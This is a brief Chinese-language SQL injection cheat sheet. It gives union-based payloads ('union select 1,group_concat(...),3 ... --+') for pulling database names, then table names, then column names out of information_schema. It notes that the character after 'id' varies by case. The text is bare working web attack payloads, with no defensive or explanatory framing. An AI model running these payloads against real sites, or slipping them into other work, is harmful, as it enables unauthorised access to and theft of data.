id后的符號(hào)視情況而定

爆數(shù)據(jù)庫(kù)

?union select 1,group_concat(schema_name),3 from information_schema.schemata--+

union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+

爆數(shù)據(jù)表

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=' '--+

爆數(shù)據(jù)表的列

union select 1,group_concat(column_name),3 from information_schema.columns where table_name=' '--+